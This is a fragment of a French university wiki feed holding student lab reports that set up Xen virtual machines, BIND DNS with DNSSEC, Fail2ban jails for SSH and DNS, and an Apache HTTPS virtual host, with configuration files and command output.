    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv6|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12112</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12112"/>
		<updated>2026-02-07T17:48:00Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : /* Fail2Ban */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.RS7-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.RS7.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.RS7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
